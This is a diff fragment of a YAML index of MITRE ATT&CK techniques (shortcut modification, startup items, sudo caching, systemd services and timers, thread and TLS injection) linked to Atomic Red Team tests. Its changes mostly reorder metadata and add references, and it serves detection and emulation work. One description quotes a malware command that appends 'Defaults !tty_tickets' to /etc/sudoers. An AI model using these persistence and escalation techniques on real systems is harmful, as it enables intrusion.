-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1547.009
-        url: https://attack.mitre.org/techniques/T1547/009
-      - external_id: CAPEC-132
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/132.html
-      - source_name: BSidesSLC 2020 - LNK Elastic
-        url: https://www.youtube.com/watch?v=nJ0UsyiUEqQ
-        description: French, D., Filar, B.. (2020, March 21). A Chain Is No Stronger
-          Than Its Weakest LNK. Retrieved November 30, 2020.
       type: attack-pattern
+      name: Shortcut Modification
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.1'
+      modified: '2021-04-13T21:30:24.555Z'
+      created: '2020-01-24T19:00:32.917Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2021-04-13T21:30:24.555Z'
-      created: '2020-01-24T19:00:32.917Z'
+      id: attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179
       x_mitre_platforms:
       - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - User
+      description: |-
+        Adversaries may create or edit shortcuts to run a program during system boot or user login. Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.
+
+        Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.
       x_mitre_contributors:
       - David French, Elastic
       - Bobby, Filar, Elastic
       - Travis Smith, Tripwire
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
       x_mitre_detection: |-
         Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.
 
         Monitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic)
-      x_mitre_permissions_required:
-      - Administrator
-      - User
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.1'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1547/009
+        external_id: T1547.009
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/132.html
+        external_id: CAPEC-132
+        source_name: capec
+      - url: https://www.youtube.com/watch?v=nJ0UsyiUEqQ
+        description: French, D., Filar, B.. (2020, March 21). A Chain Is No Stronger
+          Than Its Weakest LNK. Retrieved November 30, 2020.
+        source_name: BSidesSLC 2020 - LNK Elastic
       identifier: T1547.009
     atomic_tests:
     - name: Shortcut Modification
@@ -19260,6 +19616,23 @@ privilege-escalation:
         elevation_required: true
   T1037.005:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Startup Items
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2020-03-24T23:47:39.124Z'
+      created: '2020-01-15T18:00:33.603Z'
+      x_mitre_permissions_required:
+      - Administrator
+      x_mitre_platforms:
+      - macOS
+      x_mitre_is_subtechnique: true
       id: attack-pattern--c0dfe7b0-b873-4618-9ff8-53e31f70907f
       description: "Adversaries may use startup items automatically executed at boot
         initialization to establish persistence. Startup items execute during the
@@ -19276,45 +19649,28 @@ privilege-escalation:
         mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since
         StartupItems run during the bootup phase of macOS, they will run as the elevated
         root user."
-      name: Startup Items
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1037.005
-        url: https://attack.mitre.org/techniques/T1037/005
-      - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html
-        description: Apple. (2016, September 13). Startup Items. Retrieved July 11,
-          2017.
-        source_name: Startup Items
-      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
-        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
-          on Mac OS X. Retrieved July 5, 2017.
-        source_name: Methods of Mac Malware Persistence
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-03-24T23:47:39.124Z'
-      created: '2020-01-15T18:00:33.603Z'
-      x_mitre_platforms:
-      - macOS
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
       x_mitre_detection: |-
         The <code>/Library/StartupItems</code> folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist.
 
         Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.
-      x_mitre_permissions_required:
-      - Administrator
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1037/005
+        external_id: T1037.005
+        source_name: mitre-attack
+      - source_name: Startup Items
+        description: Apple. (2016, September 13). Startup Items. Retrieved July 11,
+          2017.
+        url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html
+      - source_name: Methods of Mac Malware Persistence
+        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
+          on Mac OS X. Retrieved July 5, 2017.
+        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
       identifier: T1037.005
     atomic_tests:
     - name: Add file to Local Library StartupItems
@@ -19336,25 +19692,25 @@ privilege-escalation:
         elevation_required: true
   T1548.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1548.003
-        url: https://attack.mitre.org/techniques/T1548/003
-      - url: https://www.sudo.ws/
-        description: Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.
-        source_name: sudo man page 2018
-      - url: https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/
-        description: Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web
-          traffic. Retrieved July 10, 2017.
-        source_name: OSX.Dok Malware
-      - url: https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does
-        description: Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually
-          Does. Retrieved March 19, 2018.
-        source_name: cybereason osx proton
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Sudo and Sudo Caching
+      x_mitre_data_sources:
+      - 'Process: Process Metadata'
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'File: File Modification'
+      x_mitre_version: '1.0'
+      modified: '2020-03-27T01:03:26.306Z'
+      created: '2020-01-30T14:34:44.992Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0
       description: |-
         Adversaries may perform sudo caching and/or use the suoders file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.
 
@@ -19365,34 +19721,34 @@ privilege-escalation:
         Adversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user.
 
         In the wild, malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \'Defaults !tty_tickets\' >> /etc/sudoers</code> (Citation: cybereason osx proton). In order for this change to be reflected, the malware also issued <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.
-      id: attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0
-      type: attack-pattern
+      x_mitre_effective_permissions:
+      - root
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-03-27T01:03:26.306Z'
-      created: '2020-01-30T14:34:44.992Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_effective_permissions:
-      - root
-      x_mitre_permissions_required:
-      - User
       x_mitre_detection: On Linux, auditd can alert every time a user's actual ID
         and effective ID are different (this is what happens when you sudo). This
         technique is abusing normal functionality in macOS and Linux systems, but
         sudo has the ability to log all input and output based on the <code>LOG_INPUT</code>
         and <code>LOG_OUTPUT</code> directives in the <code>/etc/sudoers</code> file.
-      x_mitre_data_sources:
-      - 'Process: Process Metadata'
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'File: File Modification'
-      x_mitre_platforms:
-      - Linux
-      - macOS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1548/003
+        external_id: T1548.003
+        source_name: mitre-attack
+      - source_name: sudo man page 2018
+        description: Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.
+        url: https://www.sudo.ws/
+      - source_name: OSX.Dok Malware
+        description: Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web
+          traffic. Retrieved July 10, 2017.
+        url: https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/
+      - source_name: cybereason osx proton
+        description: Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually
+          Does. Retrieved March 19, 2018.
+        url: https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does
       identifier: T1548.003
     atomic_tests:
     - name: Sudo usage
@@ -19440,7 +19796,32 @@ privilege-escalation:
           sudo visudo -c -f /etc/sudoers
   T1543.002:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Systemd Service
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Service: Service Creation'
+      - 'Service: Service Modification'
+      x_mitre_version: '1.2'
+      modified: '2020-10-09T13:46:29.701Z'
+      created: '2020-01-17T16:15:19.870Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
       id: attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b
+      x_mitre_platforms:
+      - Linux
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      - root
       description: "Adversaries may create or modify systemd services to repeatedly
         execute malicious payloads as part of persistence. The systemd service manager
         is commonly used for managing background daemon processes (also known as services)
@@ -19467,66 +19848,41 @@ privilege-escalation:
         directories, low privilege users can create/modify service unit files in directories
         such as <code>~/.config/systemd/user/</code> to achieve user-level persistence.(Citation:
         Rapid7 Service Persistence 22JUNE2016)"
-      name: Systemd Service
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1543.002
-        url: https://attack.mitre.org/techniques/T1543/002
-      - external_id: CAPEC-550
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/550.html
-      - external_id: CAPEC-551
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/551.html
-      - source_name: 'Linux man-pages: systemd January 2014'
-        url: http://man7.org/linux/man-pages/man1/systemd.1.html
-        description: Linux man-pages. (2014, January). systemd(1) - Linux manual page.
-          Retrieved April 23, 2019.
-      - source_name: Freedesktop.org Linux systemd 29SEP2018
-        url: https://www.freedesktop.org/wiki/Software/systemd/
-        description: Freedesktop.org. (2018, September 29). systemd System and Service
-          Manager. Retrieved April 23, 2019.
-      - source_name: Anomali Rocke March 2019
-        url: https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang
-        description: Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With
-          a New Malware Family Written in Golang. Retrieved April 24, 2019.
-      - source_name: Rapid7 Service Persistence 22JUNE2016
-        url: https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence
-        description: Rapid7. (2016, June 22). Service Persistence. Retrieved April
-          23, 2019.
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      modified: '2020-10-09T13:46:29.701Z'
-      created: '2020-01-17T16:15:19.870Z'
-      x_mitre_platforms:
-      - Linux
+      x_mitre_contributors:
+      - Tony Lambert, Red Canary
       x_mitre_detection: |-
         Systemd service unit files may be detected by auditing file creation and modification events within the <code>/etc/systemd/system</code>, <code>/usr/lib/systemd/system/</code>, and <code>/home/<username>/.config/systemd/user/</code> directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user.
 
         Suspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: <code>systemctl list-units -–type=service –all</code>. Analyze the contents of <code>.service</code> files present on the file system and ensure that they refer to legitimate, expected executables.
 
         Auditing the execution and command-line arguments of the 'systemctl' utility, as well related utilities such as <code>/usr/sbin/service</code> may reveal malicious systemd service execution.
-      x_mitre_permissions_required:
-      - User
-      - root
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.2'
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Service: Service Creation'
-      - 'Service: Service Modification'
-      x_mitre_contributors:
-      - Tony Lambert, Red Canary
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1543/002
+        external_id: T1543.002
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/550.html
+        external_id: CAPEC-550
+        source_name: capec
+      - url: https://capec.mitre.org/data/definitions/551.html
+        external_id: CAPEC-551
+        source_name: capec
+      - url: http://man7.org/linux/man-pages/man1/systemd.1.html
+        description: Linux man-pages. (2014, January). systemd(1) - Linux manual page.
+          Retrieved April 23, 2019.
+        source_name: 'Linux man-pages: systemd January 2014'
+      - url: https://www.freedesktop.org/wiki/Software/systemd/
+        description: Freedesktop.org. (2018, September 29). systemd System and Service
+          Manager. Retrieved April 23, 2019.
+        source_name: Freedesktop.org Linux systemd 29SEP2018
+      - url: https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang
+        description: Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With
+          a New Malware Family Written in Golang. Retrieved April 24, 2019.
+        source_name: Anomali Rocke March 2019
+      - url: https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence
+        description: Rapid7. (2016, June 22). Service Persistence. Retrieved April
+          23, 2019.
+        source_name: Rapid7 Service Persistence 22JUNE2016
       identifier: T1543.002
     atomic_tests:
     - name: Create Systemd Service
@@ -19639,42 +19995,33 @@ privilege-escalation:
           systemctl daemon-reload
   T1053.006:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Systemd Timers
+      x_mitre_data_sources:
+      - 'Scheduled Job: Scheduled Job Creation'
+      - 'Command: Command Execution'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.1'
+      modified: '2021-07-27T16:43:25.027Z'
+      created: '2020-10-12T17:50:31.584Z'
+      x_mitre_contributors:
+      - SarathKumar Rajendran, Trimble Inc
       id: attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21
+      x_mitre_platforms:
+      - Linux
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      - root
       description: |-
-        Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension <code>.timer</code> that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020)
+        Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension <code>.timer</code> that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the <code>systemctl</code> command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)
 
         Each <code>.timer</code> file must have a corresponding <code>.service</code> file with the same name, e.g., <code>example.timer</code> and <code>example.service</code>. <code>.service</code> files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to <code>/etc/systemd/system/</code> and <code>/usr/lib/systemd/system</code> while user level are written to <code>~/.config/systemd/user/</code>.
 
         An adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.
-      name: Systemd Timers
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1053.006
-        url: https://attack.mitre.org/techniques/T1053/006
-      - source_name: archlinux Systemd Timers Aug 2020
-        url: https://wiki.archlinux.org/index.php/Systemd/Timers
-        description: archlinux. (2020, August 11). systemd/Timers. Retrieved October
-          12, 2020.
-      - source_name: 'Linux man-pages: systemd January 2014'
-        url: http://man7.org/linux/man-pages/man1/systemd.1.html
-        description: Linux man-pages. (2014, January). systemd(1) - Linux manual page.
-          Retrieved April 23, 2019.
-      - description: Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux
-          AUR Package Repository. Retrieved April 23, 2019.
-        url: https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/
-        source_name: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018
-      - description: Catalin Cimpanu. (2018, July 10). ~x file downloaded in public
-          Arch package compromise. Retrieved April 23, 2019.
-        url: https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a
-        source_name: gist Arch package compromise 10JUL2018
-      - description: Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved
-          April 23, 2019.
-        url: https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html
-        source_name: acroread package compromised Arch Linux Mail 8JUL2018
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: execution
@@ -19682,28 +20029,42 @@ privilege-escalation:
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-10-14T15:20:00.754Z'
-      created: '2020-10-12T17:50:31.584Z'
-      x_mitre_platforms:
-      - Linux
-      x_mitre_contributors:
-      - SarathKumar Rajendran, Trimble Inc
-      x_mitre_data_sources:
-      - 'Scheduled Job: Scheduled Job Creation'
-      - 'Command: Command Execution'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
+      x_mitre_remote_support: true
       x_mitre_detection: |-
         Systemd timer unit files may be detected by auditing file creation and modification events within the <code>/etc/systemd/system</code>, <code>/usr/lib/systemd/system/</code>, and <code>~/.config/systemd/user/</code> directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user.
 
         Suspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: <code>systemctl list-timers –all</code>. Analyze the contents of corresponding <code>.service</code> files present on the file system and ensure that they refer to legitimate, expected executables.
 
         Audit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020)
-      x_mitre_permissions_required:
-      - User
-      - root
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1053/006
+        external_id: T1053.006
+        source_name: mitre-attack
+      - url: https://wiki.archlinux.org/index.php/Systemd/Timers
+        description: archlinux. (2020, August 11). systemd/Timers. Retrieved October
+          12, 2020.
+        source_name: archlinux Systemd Timers Aug 2020
+      - url: https://www.tecmint.com/control-systemd-services-on-remote-linux-server/
+        description: Aaron Kili. (2018, January 16). How to Control Systemd Services
+          on Remote Linux Server. Retrieved July 26, 2021.
+        source_name: Systemd Remote Control
+      - url: http://man7.org/linux/man-pages/man1/systemd.1.html
+        description: Linux man-pages. (2014, January). systemd(1) - Linux manual page.
+          Retrieved April 23, 2019.
+        source_name: 'Linux man-pages: systemd January 2014'
+      - source_name: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018
+        description: Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux
+          AUR Package Repository. Retrieved April 23, 2019.
+        url: https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/
+      - source_name: gist Arch package compromise 10JUL2018
+        description: Catalin Cimpanu. (2018, July 10). ~x file downloaded in public
+          Arch package compromise. Retrieved April 23, 2019.
+        url: https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a
+      - source_name: acroread package compromised Arch Linux Mail 8JUL2018
+        description: Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved
+          April 23, 2019.
+        url: https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html
       identifier: T1053.006
     atomic_tests:
     - name: Create Systemd Service and Timer
@@ -19818,14 +20179,25 @@ privilege-escalation:
         name: sh
   T1055.003:
     technique:
-      created: '2020-01-14T01:28:32.166Z'
-      modified: '2020-11-10T18:29:30.941Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
+      name: Thread Execution Hijacking
+      x_mitre_data_sources:
+      - 'Process: Process Modification'
+      - 'Process: OS API Execution'
+      - 'Process: Process Access'
+      x_mitre_version: '1.1'
+      modified: '2021-10-18T12:22:50.800Z'
+      created: '2020-01-14T01:28:32.166Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_defense_bypassed:
+      - Application control
+      - Anti-virus
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6
       description: "Adversaries may inject malicious code into hijacked processes
         in order to evade process-based defenses as well as possibly elevate privileges.
@@ -19844,23 +20216,11 @@ privilege-escalation:
         to the process's memory, system/network resources, and possibly elevated privileges.
         Execution via Thread Execution Hijacking may also evade detection from security
         products since the execution is masked under a legitimate process. "
-      name: Thread Execution Hijacking
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1055.003
-        url: https://attack.mitre.org/techniques/T1055/003
-      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
-        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
-          A Technical Survey Of Common And Trending Process Injection Techniques.
-          Retrieved December 7, 2017.'
-        source_name: Elastic Process Injection July 2017
-      x_mitre_platforms:
-      - Windows
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
       x_mitre_detection: "Monitoring Windows API calls indicative of the various types
         of code injection may generate a significant amount of data and may not be
         directly useful for defense unless collected under specific circumstances
@@ -19873,35 +20233,37 @@ privilege-escalation:
         process behavior to determine if a process is performing actions it usually
         does not, such as opening network connections, reading files, or other suspicious
         actions that could relate to post-compromise behavior. "
-      x_mitre_permissions_required:
-      - User
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'Process: Process Access'
-      x_mitre_defense_bypassed:
-      - Application control
-      - Anti-virus
-    atomic_tests: []
-  T1055.005:
-    technique:
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       external_references:
-      - source_name: mitre-attack
-        external_id: T1055.005
-        url: https://attack.mitre.org/techniques/T1055/005
-      - url: https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html
-        description: Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif
-          Variant Employs Malicious TLS Callback Technique to Achieve Process Injection.
-          Retrieved December 18, 2017.
-        source_name: FireEye TLS Nov 2017
-      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
+      - url: https://attack.mitre.org/techniques/T1055/003
+        external_id: T1055.003
+        source_name: mitre-attack
+      - source_name: Elastic Process Injection July 2017
         description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
           A Technical Survey Of Common And Trending Process Injection Techniques.
           Retrieved December 7, 2017.'
-        source_name: Elastic Process Injection July 2017
+        url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
+    atomic_tests: []
+  T1055.005:
+    technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Thread Local Storage
+      x_mitre_data_sources:
+      - 'Process: Process Modification'
+      - 'Process: OS API Execution'
+      - 'Process: Process Access'
+      x_mitre_version: '1.1'
+      modified: '2021-10-18T12:24:54.198Z'
+      created: '2020-01-14T01:30:41.092Z'
+      x_mitre_defense_bypassed:
+      - Anti-virus
+      - Application control
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--e49ee9d2-0d98-44ef-85e5-5d3100065744
       description: "Adversaries may inject malicious code into processes via thread
         local storage (TLS) callbacks in order to evade process-based defenses as
         well as possibly elevate privileges. TLS callback injection is a method of
@@ -19917,21 +20279,11 @@ privilege-escalation:
         allow access to the process's memory, system/network resources, and possibly
         elevated privileges. Execution via TLS callback injection may also evade detection
         from security products since the execution is masked under a legitimate process. "
-      id: attack-pattern--e49ee9d2-0d98-44ef-85e5-5d3100065744
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-11-10T18:29:30.984Z'
-      created: '2020-01-14T01:30:41.092Z'
-      x_mitre_defense_bypassed:
-      - Anti-virus
-      - Application control
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'Process: Process Access'
       x_mitre_detection: "Monitoring Windows API calls indicative of the various types
         of code injection may generate a significant amount of data and may not be
         directly useful for defense unless collected under specific circumstances
@@ -19944,116 +20296,127 @@ privilege-escalation:
         process behavior to determine if a process is performing actions it usually
         does not, such as opening network connections, reading files, or other suspicious
         actions that could relate to post-compromise behavior. "
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1055/005
+        external_id: T1055.005
+        source_name: mitre-attack
+      - source_name: FireEye TLS Nov 2017
+        description: Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif
+          Variant Employs Malicious TLS Callback Technique to Achieve Process Injection.
+          Retrieved December 18, 2017.
+        url: https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html
+      - source_name: Elastic Process Injection July 2017
+        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
+          A Technical Survey Of Common And Trending Process Injection Techniques.
+          Retrieved December 7, 2017.'
+        url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
     atomic_tests: []
   T1547.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1547.003
-        url: https://attack.mitre.org/techniques/T1547/003
-      - url: https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top
